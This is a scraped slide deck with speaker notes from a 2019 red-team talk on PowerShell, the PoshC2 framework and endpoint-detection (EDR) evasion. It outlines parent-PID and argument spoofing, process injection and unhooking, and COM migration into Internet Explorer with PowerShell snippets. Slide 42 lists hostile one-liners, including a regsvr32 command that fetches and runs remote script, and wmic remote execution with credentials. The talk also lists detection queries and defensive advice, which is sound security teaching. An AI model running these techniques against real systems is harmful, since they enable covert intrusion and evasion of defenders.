Presentation2.pptx -  JoyPress WordpressPresentation2.pptx -  JoyPress Wordpress
Presentation2.pptx - JoyPress Wordpress
 
TYPES AND DEFINITION OF ONLINE CRIMES AND HAZARDS
TYPES AND DEFINITION OF ONLINE CRIMES AND HAZARDSTYPES AND DEFINITION OF ONLINE CRIMES AND HAZARDS
TYPES AND DEFINITION OF ONLINE CRIMES AND HAZARDS
 
Zero-day Vulnerabilities
Zero-day VulnerabilitiesZero-day Vulnerabilities
Zero-day Vulnerabilities
 
WordPress by the numbers - Jan Loeffler, CTO WebPros, CloudFest 2024
WordPress by the numbers - Jan Loeffler, CTO WebPros, CloudFest 2024WordPress by the numbers - Jan Loeffler, CTO WebPros, CloudFest 2024
WordPress by the numbers - Jan Loeffler, CTO WebPros, CloudFest 2024
 
LESSON 5 GROUP 10 ST. THOMAS AQUINAS.pdf
LESSON 5 GROUP 10 ST. THOMAS AQUINAS.pdfLESSON 5 GROUP 10 ST. THOMAS AQUINAS.pdf
LESSON 5 GROUP 10 ST. THOMAS AQUINAS.pdf
 
Benefits of doing Internet peering and running an Internet Exchange (IX) pres...
Benefits of doing Internet peering and running an Internet Exchange (IX) pres...Benefits of doing Internet peering and running an Internet Exchange (IX) pres...
Benefits of doing Internet peering and running an Internet Exchange (IX) pres...
 
Vision Forward: Tracing Image Search SEO From Its Roots To AI-Enhanced Horizons
Vision Forward: Tracing Image Search SEO From Its Roots To AI-Enhanced HorizonsVision Forward: Tracing Image Search SEO From Its Roots To AI-Enhanced Horizons
Vision Forward: Tracing Image Search SEO From Its Roots To AI-Enhanced Horizons
 
LESSON 10/ GROUP 10/ ST. THOMAS AQUINASS
LESSON 10/ GROUP 10/ ST. THOMAS AQUINASSLESSON 10/ GROUP 10/ ST. THOMAS AQUINASS
LESSON 10/ GROUP 10/ ST. THOMAS AQUINASS
 

powershell-is-dead-epic-learnings-london

  • 1. PowerShell is DEAD Epic Learnings June 2019
  • 2. Contents Introductions + Whoami / Whoarewe What is PowerShell + Understand what PowerShell is / key components + Is it DEAD? Evolution of PoshC2 + Release timeline & changes EDR + History & challenges (offensive) + Future predictions June 2019
  • 3. @benpturner + Managing Principal Security Consultant @ Nettitude + Lead the Global Red Team Operation @ Nettitude + 8 years as a Crest Team Leader (CHECK Team Leader - Infrastructure) + 4 years as a Crest Simulated Attack Specialist (CCSAS - STAR/CBEST) Training / Talks + Advanced Threat Actor Simulation - Red Team Training Course (Steelcon 2017/2018) + Workshops - Red Teaming with PoshC2 (BSides London/Manchester 2017) + Trusted Third Parties are NOT Trust Worthy (GiSEC Dubai 2019) - https://bit.ly/2I9ehIg + 21st Century War Stories (Steelcon/BSides 2016) - https://www.youtube.com/watch?v=O8Ul6QSPuo4 + PowerShell Fu with Metasploit (Steelcon/BSides 2015) - https://www.youtube.com/watch?v=ottfZFRSsj4 Development Projects + Lead developer of PoshC2 - Nettitude’s Open Source Command & Control (C2) Framework + General day to day PowerShell / C# projects & security research
  • 4. @b4ggio_su + Principal Security Consultant @ Nettitude + A Red Team Lead in the Global Red Team Operation @ Nettitude + 16 years in IT: • 4 years as a sysadmin • 4 years in a defensive role • 8 years in an offensive role Training / Talks + Advanced Threat Actor Simulation - Red Team Training Course + Red Team & Stuff (Bsides Mcr 2018 / OWASP Warwick 2019)
  • 5. @rbmaslen + Principal Security Consultant @ Nettitude + Red Teamer/Tools developer + 20 years in IT: • 14 years as a developer (mainly C++, C#, HTML/JS) • 6 years in an offensive role + CCT / CCSAM / OSCP / OSCE Training / Talks + Thick Client Destruction (Steelcon 2017) + COM and the PowerThIEf (Steelcon 2018) Development Projects + Contributor to PoshC2 - Nettitude’s Open Source Command & Control (C2) Framework + PowerThIEf, SharpSocks, C# portscanner & ArpScan
  • 6. Team Spicy Weasel 1st Place - 2018 + labs.nettitude.com/blog/derbycon-2018-ctf-write-up 1st Place - 2017 + labs.nettitude.com/blog/derbycon-2017-ctf-write-up 3rd Place - 2016 + labs.nettitude.com/blog/derbycon-2016-ctf-write-up
  • 7. What is PowerShell & is it DEAD? 1. The Microsoft binary - ”PowerShell.exe” 2. The DLL behind the binary ”System.Management.Automation.Dll” 3. The folder - C:WindowsSystem32WindowsPowerShellv1 .0 4. The version? Is PSv2 dead or only versions after 4 because of Transcript Logging, ScriptBlock Logging, Module Logging & AMSI Integration https://www.youtube.com/watch?v=IYD_aiQtVaE
  • 9. Evolution of PoshC2 2016 -> 2019  2016  June - v1.0 First Release of PoshC2 (Server/Implant in PowerShell)  Dec - v2.0 Released - C# GUI, Daisy Chaining & Portability  2017  Mar - v2.1 Removed C# GUI  May - PoshC2 Slack channel announced  July - PoshC2_Python Release  Oct – Reflective DLL / Shellcode Released  Nov - v3.0 Released with SharpSocks  2018  Feb - Readthedocs Documentation Released  July - v4.0 Released with Python Implant  2019  Jan - v4.8 Sharp Implant  Feb - Support for 2003/XP  June - SharpSocks Integration
  • 11. Process Listing – Initial Execution
  • 13. Carbon Black / Tanium / EDR 1. This is probably the best query in carbon black to detect malicious activity: “process_name:powershell.exe” 2. Do a search across your estate and see how much this shows up…….
  • 14. Carbon Black / Tanium / EDR 1. This is probably the best query in carbon black to detect malicious activity: “modload:system.management.automation.dll” “modload:system.management.automation.ni.dll” 2. Filter out “powershell.exe”, and others…… 3. Do a search across your estate and see how much this shows up…….
  • 15. Defensive / Legacy Approach (Reactive)  Block powershell.exe on all endpoints  Only allow signed powershell scripts to be executed  Upgrade “powershell.exe” to v5.0 for greater visibility  Enable constrained mode to restrict language elements  Monitor for “System.Management.Automation.Dll” in processes  Integrate AMSI with AV vendor for early signature detection  Enable & Monitor ScriptBlock Logging for suspicious cmdlets  Enable & Monitor Transcript Logging for suspicious signatures  Enable & Monitor Module Logging for signatured modules Modern Approach (Proactive)
  • 19. Supposedly Used by APT 33  Suspected attribution: Iran  Target sectors: Aerospace, energy  Overview: APT33 has targeted organizations, spanning multiple industries, headquartered in the U.S., Saudi Arabia and South Korea. APT33 has shown particular interest in organizations in the aviation sector involved in both military and commercial capacities, as well as organizations in the energy sector with ties to petrochemical production • https://www.fireeye.com/blog/threat- research/2018/12/overruled-containing-a-potentially- destructive-adversary.html • https://www.fireeye.com/blog/threat- research/2017/09/apt33-insights-into-iranian-cyber- espionage.html • https://www.fireeye.com/current-threats/apt- groups.html#apt33
  • 24. C# Implant / Reflection
  • 25. C# Implant / Reflection  loadmodule Seatbelt.exe  run-exe Seatbelt.Program Seatbelt all  run-exe Seatbelt.Program Seatbelt PowerShellSettings  run-dll Seatbelt.Program Seatbelt UserChecks
  • 26. C# Reflection  foreach (var Ass in AppDomain.CurrentDomain.GetAssemblies())  run-exe loadedType.Assembly.EntryPoint.Invoke(null, new object[] { splitnewargs }).ToString();  run-dll loadedType.Assembly.GetType(qualifiedname).InvokeMember(s Method, BindingFlags.Public | BindingFlags.InvokeMethod | BindingFlags.Static, null, null, new object[] { splitnewargs }).ToString();
  • 27. C# Reflection / OpSec Considerations
  • 31. Attacker Thoughts  Avoidance  Trickery  Partying with EDR
  • 33. Avoidance - Carbon Black Detected – But why: RTFM!
  • 34. Avoidance – Tanium Signal Definition image.path contains ‘system.management.automation’ AND process.path contains NOT ‘mscorsvw.exe’ AND process.path contains NOT ‘monitoringhost.exe’ AND process.path contains NOT ‘powershell.exe’ AND process.path contains NOT ‘powershell_ise.exe’ AND process.path contains NOT ‘sdiagnhost.exe’ AND process.path contains NOT ‘servermanager.exe’ AND process.path contains NOT ‘sqlps.exe’ AND process.path contains NOT ‘wsmprovhost.exe’ AND process.path contains NOT ‘Microsoft Azure AD SyncBinmiiserver.exe’ (Does require process tracing to be enabled in Tanium - quite heavy) Warning - Not doing a hash checksum on the processes or their location
  • 37. Parent PID Spoofing / Carbon Black
  • 40. Process Argument Spoofing 1. Create a process suspended – Fake Arguments 2. Identify the PEB using NTQueryProcessInformation 3. Parse PEB and Commandline structure 4. Overwrite the Commandline arguments using WriteProcessMemory – Real Arguments 5. Resume the process
  • 41. Process Argument Spoofing  https://github.com/FuzzySecurity/Sharp-Suite/tree/master/SwampThing  https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/  https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/
  • 42. Process Argument Spoofing – WHY? Execution  Powershell One Liner  regsvr32.exe /s /i:http://URL/file.sct scrobj.dll  wmic os get /FORMAT:”evil.xsl” Lateral Movement  SC COMPUTERNAME stop "SERVICENAME“  wmic.exe /node:<target> /user:<user> /password:"<password>" process call create "%Systemroot%Tempbatchfile.bat“
  • 44. Partying With EDR Migration Basics - Win API Calls:  VirtualAllocEX  WriteProcessMemory  CreateRemoteThread http://deniable.org/misc/inject-all-the-things However there are many ways to do the same thing, quick examples: RtlCreateUserThread SetWindowsHookEx NtCreateThreadEx QueueUserAPC
  • 46. “In computer programming, the term hooking covers a range of techniques used to alter or augment the behaviour of an operating system, of applications, or of other software components by intercepting function calls or messages or events passed between software components. Code that handles such intercepted function calls, events or messages is called a hook.” - Wikipedia What is Hooking?
  • 53.  Re-Patch Memory to remove JMP to original code  Update the IAT table to point to the correct function  Create a stub – to carry out the same system calls  Free a number of API calls and use FreeLibrary to remove interfering DLL’s https://medium.com/@fsx30/bypass-edrs-memory-protection- introduction-to-hooking-2efb21acffd6 Bringing Back The Good Times
  • 54. Demo
  • 55. Demo
  • 57. COM Intro – just watch this https://vimeo.com/214856542
  • 58.  Spoke about this at Steelcon last year, has proved really handy  Has been used to get past some EDRs  Breaks the attribution between process Migrating with COM into IE
  • 59. The key to this? Junction folders  Junction folders, a technique leaked in the Vault 7 dumps  Forms the basis of Sandbox escapers recent IE 11 sandbox escape  After adding some registry keys allows code to be executed when you navigate to a folder
  • 61. Loading the DLL in IE – first setup the registry
  • 62.  If we can get a reference to an IE Windows we can call  URL needs to be in the format shell:::{<GUID>}  https://docs.microsoft.com/en-us/previous- versions/windows/internet-explorer/ie-developer/platform- apis/aa752094(v%3Dvs.85) How can we use that
  • 63.  Great COM class allows you to enumerate all the current open IE & Explorer windows and automate them  Guess what you can then get them to navigate to a new location  https://msdn.microsoft.com/en- us/library/windows/desktop/bb773974(v=vs.85).aspx ShellWindows
  • 64. Loading the DLL in IE, PowerShell $shellWinGuid = [System.Guid]::Parse("{9BA05972-F6A8-11CF-A442- 00A0C90A8F39}") $typeShwin = [System.Type]::GetTypeFromCLSID($shellWinGuid) $shwin = [System.Activator]::CreateInstance($typeShwin) $shWin[0].Navigate2("shell:::{56B6E39E-AB81-4E34-BC8B-99D1D28FB7E4}", 2048) /*CLSID must be in the format "shell:::{CLSID}" Second param 2048 is BrowserNavConstants value for navOpenInNewTab https://msdn.microsoft.com/en-us/library/dd565688(v=vs.85).aspx Further ideas on what payloads you may be able to use */
  • 66. Can you do this in VBA, yes of course
  • 67. Can you do this in VBA, yes of course
  • 68.  Only use Native DLL’s? thankfully not  Using CCW’s Com Callable Wrappers we can write a .net dll and configure the registry keys so that when navigated to we can launch a .net dll. Use this as a COM Hijack if you want.  No time to go into CCW in depth but have a read of https://docs.microsoft.com/en- us/dotnet/framework/interop/com-callable-wrapper  .Net is started in IE and loads the dll  We need a .net assembly with class that implements an interface and some registry keys COM Callable Wrapper
  • 69. COM Callable Wrapper – Class Interface
  • 72. Setting up the .net registry keys
  • 73. Setting up the .net registry keys  Just make sure that you create or import the keys from a x64 application or use the explicit 64 bit key from the link below  https://docs.microsoft.com/en- us/windows/desktop/sysinfo/32-bit-and-64-bit-application- data-in-the-registry
  • 74. Also guess what the IE shortcut now does?
  • 75. One last thing – remember this script $shellWinGuid = [System.Guid]::Parse("{9BA05972-F6A8-11CF-A442- 00A0C90A8F39}") $typeShwin = [System.Type]::GetTypeFromCLSID($shellWinGuid) $shwin = [System.Activator]::CreateInstance($typeShwin) $shWin[0].Navigate2("shell:::{56B6E39E-AB81-4E34-BC8B-99D1D28FB7E4}", 2048) /*CLSID must be in the format "shell:::{CLSID}" Second param 2048 is BrowserNavConstants value for navOpenInNewTab https://msdn.microsoft.com/en-us/library/dd565688(v=vs.85).aspx Further ideas on what payloads you may be able to use */
  • 76. Lets tweak it $shellWinGuid = [System.Guid]::Parse("{9BA05972-F6A8-11CF-A442- 00A0C90A8F39}") $typeShwin = [System.Type]::GetTypeFromCLSID($shellWinGuid) $shwin = [System.Activator]::CreateInstance($typeShwin) $shWin[0].Navigate("c:windowssystem32WindowsPowerShellv1.0powers hell.exe")
  • 77. Running it (must have at least 1 explorer window open)
  • 78. Look who the parent is?
  • 79. EDR Summary  EDR is not a silver bullet  Does give incredible visibility to the Blue Team  Highly recommended as a complimentary piece to the defensive strategy but should not be solely relied on  Does not replace good people with experience  Constant Cat and Mouse game
  • 80. Future Predictions 1. Over reliance on EDR, especially on user endpoints and not server land or non Windows Systems 2. Customers focussing all attention on tertiary endpoints and not on critical functions or sensitive customer data 3. Move to Zerotrust networks and MFA everywhere 4. Machine Learning – Investment into Process & Procedures 5. C2 frameworks moving to C++ base code – Could see MSF be revived for red teaming 6. All standard AV/EDR vendors adopting in memory scanning / AMSI 7. Windows 7 is EOL January 2020 – not a prediction but a reality 8. Windows 10 removal of .NET v2 – not a prediction but a reality 9. People going back to single executables running either C++ or C# code to evade LOLBAS signatures (LOLBAS vs arbitrary exe)
  • 81. Future Predictions 1. Over reliance on EDR, especially on endpoints and not server land (or unix really) 2. C2 frameworks moving to C++ base code – Could see MSF be revived for RT 3. We already have this level of capability and its interesting what gets detected and what does not 4. All standard AV/EDR vendors adopting in memory scanning 5. Windows 7 is EOL January 2020 – not a prediction but a massive jump 6. Windows 10 removal of .NET v2 7. People going back to single executables running either c++ or c# code to evade lolbins signatures and
  • 82. THANK YOU Ben Turner @benpturner Doug McLeod @b4ggio_su Rob Maslen @rbmaslen https://www.steelcon.info/training/ https://www.slideshare.net/nettitude_labs/powershell-is-dead-epic-learning

Hinweis der Redaktion

  1. So whoami! My name is Ben Turner, I head up the Global Red Team @ Nettitude. As evident from the geeky title I’m a PowerShell & .NET enthusiast! One of the main reasons i’m standing here (ontop of being accepted to talk) is because over the last two years I’ve seen and met 3 or 4 people who have explicitly said to me they are in the industry and want to do red teaming because they saw my talks and were inspired! This really resonated with me and I thought and I want to encourage anyone to get up and talk. The industry as a whole has some people who try to crush people but
  2. Some other places you may have seen us is at Derbycon, we’re quite a keen attender of this conference. If you like CTF’s check out some of the blogs we wrote off the back of the cons. It will be sad this year its coming to an end – hopefully we can go out with a bang and maintain that 1st place position!
  3. .NET reflection can unhook
  4. So there has been a lot of talk about Powershell is dead and I wanted to share my small view of the world, with a slight focus on the evolution or PoshC2. For those not aware, PoshC2 Is a command and control framework that was created in purely powershell, designed to run on any windows endpoint. RAT – NOT Malware…… First of all created for learning purposes and evolved into much more, it really started out as 60 lines of code – this was including the logo! And now is in the 10s of thousands of lines of code. Lets think from an OPSEC perspective and show the start of PoshC2
  5. Started out as a windows only c2 server and c2 implant written for only powershell….
  6. Can anyone tell me what's wrong with this picture! PAUSE……………………….. Probably more obvious, a malicious PowerShell process has started as the user Jason…
  7. Lets dig a bit deeper and look at what the PowerShell command line arguments looks like to start with…. This is the default PoshC2 PowerShell implant Simple detections, anything running “powershell.exe” especially spawned from office, mshta, vbscript, jscript etc
  8. How easy is it to spot this
  9. Presence of the normal, abnormal presence of the???? Can you threat hunt across your estate?
  10. NO! Its just getting more difficult to deploy, and is only as good as the monitoring in place. There is lots of obfuscation that is still possible to evade static analysis and even dynamic analysis toolkits
  11. NO! Its just getting more difficult to deploy, and is only as good as the monitoring in place. There is lots of obfuscation that is still possible to evade static analysis and even dynamic analysis toolkits
  12. All throughout of 2018 APT 33 were being tracked by FireEye Amongst many other known threat actor groups, but the reason I pick on these guys is that they have been known to use PoshC2. People have been calling PoshC2 malware, but I would call this a remote access toolkit (RAT) that can be used for multi purposes
  13. Attribution is most likely IRAN And typically used across the aerospace and energy sectors… What’s really interesting here is that the IOCs (indicators of compromise) are that the threat actor is using the defaults, e.g. powershell one liners and are still having a huge amount of success Explicitly a guy called Andrew from FireEye – @QW5kcmV3
  14. The next big thing is the C# implant This is where it gets tough to find an implant as the clr.dll or mscoree.dll is loaded into more things than you realise
  15. Started out as a windows only c2 server and c2 implant written for only powershell….
  16. Started out as a windows only c2 server and c2 implant written for only powershell….
  17. DEMO!!!!! IF WE HAVE TIME
  18. Endpoint Detection and response is software that sends behavioural data to a central database for analysis
  19. This is us when we run a process list and see an EDR system!! But all is not lost and we have some example stories about challenges faced with different EDR solution Behaviour based not just signature
  20. We thought the blue team were watching an account which we needed to use. So we distracted them We know carbon black will flag on unsigned binaries connecting to the internet, so we pushed out unsigned binaries to a handful of machines and ran them Enough to keep them busy
  21. If the blue team have so much visibility, how can we through them of the sense. This is trickery and there are many things that can be done, but two that im going to lightly cover are Parent Pid spoofing and Argument spoofing….deliberately to mess with process chaining.
  22. STARTUPINFOEX This structure contains an lpAttributeList Update pid using UpdateProcThreadAttribute
  23. Event Tracing for Windows – ETW First screenshot shows the parent section process the same as the one below. Second example shows that the parent process and the Process ID in the parent are different.
  24. Process Argument Spoofing First of got to give credit to some of the initial people discussing this. Casey smith AND Will Burgess’s If you haven’t seen will’s talk - RedTeaming in the EDR Age then you should definitely go give it a watch. Also covers a tool they created Gargoyle to hide malware in memory.
  25. And, finally, programs that determine process arguments by reading the process PEB will see your real arguments and not our fake arguments.
  26. Migration basics – number of API calls – generally basic example will take a handle on another process and call virtualAllocEx, WriteProcessMemory and CreateRemoteThread These are not the only options available to us. Inject all the things – is a nice we project to assist in testing some of these calls – you should check it out Instead of using create remote threat we can use for example RTLCreateUserThreat – this bypassed the checks Symantec were looking for and we ended up with successful migration.
  27. In short it is a technique that allows you to alter or augment the behaviour of the operating system. Hook a function do bad things……. In old school gaming this is equivalent to hacking a game so that you cannot die.
  28. Turns out the last option is super common Kernel Patch Protection or Patch Guard scans the kernel on almost every level and will triggers a BSOD if a modification is detected. This includes the area’s where the WINAPI’s logic is carried out.
  29. ZW Create Thread EX
  30. In Process Client
  31. Hoang Bui XPN Many other examples – show these options to be rather easy.
  32. NO! Its just getting more difficult to deploy, and is only as good as the monitoring in place. There is lots of obfuscation that is still possible to evade static analysis and even dynamic analysis toolkits
  33. My house my rules What am I going to do about it? F*cking Judo Chop it the hell outta there!
  34. @fsx30 XPN Many other examples – show these options to be rather easy.
  35. Navgiating to this folder means that Code will executed within explorer
  36. @fsx30 XPN Many other examples – show these options to be rather easy.
  37. @fsx30 XPN Many other examples – show these options to be rather easy.
  38. My house my rules What am I going to do about it? F*cking Judo Chop it the hell outta there!
  39. My house my rules What am I going to do about it? F*cking Judo Chop it the hell outta there!
  40. My house my rules What am I going to do about it? F*cking Judo Chop it the hell outta there!
  41. @fsx30 XPN Many other examples – show these options to be rather easy.
  42. @fsx30 XPN Many other examples – show these options to be rather easy.
  43. @fsx30 XPN Many other examples – show these options to be rather easy.
  44. @fsx30 XPN Many other examples – show these options to be rather easy.
  45. @fsx30 XPN Many other examples – show these options to be rather easy.
  46. My house my rules What am I going to do about it? F*cking Judo Chop it the hell outta there!
  47. Turns out the last option is super common
  48. We already have this level of capability and its interesting what gets detected and what does not Harder to pwn 2003/xp/nt Palentir, AI, machine learning, dark trace…… Microsoft ATA, ATP, Defender
  49. BEN: